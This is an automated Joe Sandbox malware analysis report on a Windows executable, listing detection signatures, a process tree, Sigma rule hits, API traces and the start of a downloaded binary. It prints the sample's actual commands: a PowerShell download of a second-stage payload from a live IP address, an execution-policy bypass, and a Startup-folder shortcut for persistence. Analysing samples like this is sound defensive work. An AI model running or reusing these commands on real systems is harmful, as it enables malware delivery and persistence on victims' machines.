Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
RMBOriPHVJ.exe

Overview

General Information

Sample name:RMBOriPHVJ.exe
renamed because original name is a hash value
Original sample name:fb54005eb5984dcea9113c27a18825aee74cccd386e1e9604b4db06ef477d84f.exe
Analysis ID:1577210
MD5:f31d005ed75e0d83e49feef891d06385
SHA1:324f2b1cf1a95a1263a5df464cbc267de68e9dc3
SHA256:fb54005eb5984dcea9113c27a18825aee74cccd386e1e9604b4db06ef477d84f
Tags:139-99-188-124exeuser-JAMESWT_MHT
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Icon mismatch, binary includes an icon from a different legit application in order to fool users
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
AV process strings found (often used to terminate AV products)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to detect virtual machines (STR)
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • RMBOriPHVJ.exe (PID: 4128 cmdline: "C:\Users\user\Desktop\RMBOriPHVJ.exe" MD5: F31D005ED75E0D83E49FEEF891D06385)
    • powershell.exe (PID: 2952 cmdline: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 6872 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 6704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • Guard.exe (PID: 5064 cmdline: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 MD5: 18CE19B57F43CE0A5AF149C96AECC685)
        • cmd.exe (PID: 4808 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 4932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • wscript.exe (PID: 5784 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • SwiftWrite.pif (PID: 1000 cmdline: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G" MD5: 18CE19B57F43CE0A5AF149C96AECC685)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Execution from Suspicious Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine|base64offset|contains: , Image: C:\Users\Public\Guard.exe, NewProcessName: C:\Users\Public\Guard.exe, OriginalFileName: C:\Users\Public\Guard.exe, ParentCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6872, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ProcessId: 5064, ProcessName: Guard.exe
Sigma detected: Execution of Powershell Script in Public Folder
Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RMBOriPHVJ.exe", ParentImage: C:\Users\user\Desktop\RMBOriPHVJ.exe, ParentProcessId: 4128, ParentProcessName: RMBOriPHVJ.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 6872, ProcessName: powershell.exe
Sigma detected: Parent in Public Folder Suspicious Process
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ParentImage: C:\Users\Public\Guard.exe, ParentProcessId: 5064, ParentProcessName: Guard.exe, ProcessCommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, ProcessId: 4808, ProcessName: cmd.exe
Sigma detected: Script Interpreter Execution From Suspicious Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RMBOriPHVJ.exe", ParentImage: C:\Users\user\Desktop\RMBOriPHVJ.exe, ParentProcessId: 4128, ParentProcessName: RMBOriPHVJ.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 6872, ProcessName: powershell.exe
Sigma detected: Suspicious Invoke-WebRequest Execution
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RMBOriPHVJ.exe", ParentImage: C:\Users\user\Desktop\RMBOriPHVJ.exe, ParentProcessId: 4128, ParentProcessName: RMBOriPHVJ.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 2952, ProcessName: powershell.exe
Sigma detected: WScript or CScript Dropper
Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 5784, ProcessName: wscript.exe
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Source: File createdAuthor: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2952, TargetFilename: C:\Users\Public\Guard.exe
Sigma detected: Change PowerShell Policies to an Insecure Level
Source: Process startedAuthor: frack113: Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RMBOriPHVJ.exe", ParentImage: C:\Users\user\Desktop\RMBOriPHVJ.exe, ParentProcessId: 4128, ParentProcessName: RMBOriPHVJ.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 6872, ProcessName: powershell.exe
Sigma detected: Execution of Suspicious File Type Extension
Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, NewProcessName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, OriginalFileName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5784, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", ProcessId: 1000, ProcessName: SwiftWrite.pif
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2952, TargetFilename: C:\Users\Public\Guard.exe
Sigma detected: PowerShell Web Download
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RMBOriPHVJ.exe", ParentImage: C:\Users\user\Desktop\RMBOriPHVJ.exe, ParentProcessId: 4128, ParentProcessName: RMBOriPHVJ.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 2952, ProcessName: powershell.exe
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RMBOriPHVJ.exe", ParentImage: C:\Users\user\Desktop\RMBOriPHVJ.exe, ParentProcessId: 4128, ParentProcessName: RMBOriPHVJ.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 2952, ProcessName: powershell.exe
Sigma detected: Usage Of Web Request Commands And Cmdlets
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RMBOriPHVJ.exe", ParentImage: C:\Users\user\Desktop\RMBOriPHVJ.exe, ParentProcessId: 4128, ParentProcessName: RMBOriPHVJ.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 2952, ProcessName: powershell.exe
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 5784, ProcessName: wscript.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RMBOriPHVJ.exe", ParentImage: C:\Users\user\Desktop\RMBOriPHVJ.exe, ParentProcessId: 4128, ParentProcessName: RMBOriPHVJ.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 2952, ProcessName: powershell.exe

Data Obfuscation

barindex
Sigma detected: Drops script at startup location
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 4808, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: RMBOriPHVJ.exeVirustotal: Detection: 62%Perma Link
Source: RMBOriPHVJ.exeReversingLabs: Detection: 47%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.8% probability
Source: RMBOriPHVJ.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BEC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,0_2_00007FF787BEC7C0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BFA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00007FF787BFA874
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BFA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00007FF787BFA4F8
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF6428 FindFirstFileW,FindNextFileW,FindClose,0_2_00007FF787BF6428
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BFA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00007FF787BFA350
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB2F50 FindFirstFileExW,0_2_00007FF787BB2F50
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BEB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00007FF787BEB7C0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,0_2_00007FF787BF72A8
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF71F4 FindFirstFileW,FindClose,0_2_00007FF787BF71F4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BEBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00007FF787BEBC70
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D04005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00D04005
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0494A GetFileAttributesW,FindFirstFileW,FindClose,6_2_00D0494A
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_00D0C2FF
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,6_2_00D0CD9F
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0CD14 FindFirstFileW,FindClose,6_2_00D0CD14
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_00D0F5D8
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_00D0F735
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D0FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_00D0FA36
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D03CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00D03CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009A4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,11_2_009A4005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009A494A GetFileAttributesW,FindFirstFileW,FindClose,11_2_009A494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009AC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,11_2_009AC2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009ACD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,11_2_009ACD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009ACD14 FindFirstFileW,FindClose,11_2_009ACD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009AF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,11_2_009AF5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009AF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,11_2_009AF735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009AFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,11_2_009AFA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009A3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,11_2_009A3CE2
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 08:31:20 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Tue, 03 Dec 2024 06:24:05 GMTETag: "da2a8-62857b643c87b"Accept-Ranges: bytesContent-Length: 893608Keep-Alive: timeout=5, max=100Connection: Keep-AliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 0d 00 00 04 00 00 15 cd 0d 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc d0 0b 00 7c 01 00 00 00 90 0c 00 50 d7 00 00 00 00 00 00 00 00 00 00 00 86 0d 00 a8 1c 00 00 00 70 0d 00 ac 71 00 00 90 3b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 5b 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b1 e7 08 00 00 10 00 00 00 e8 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e fd 02 00 00 00 09 00 00 fe 02 00 00 ec 08 00 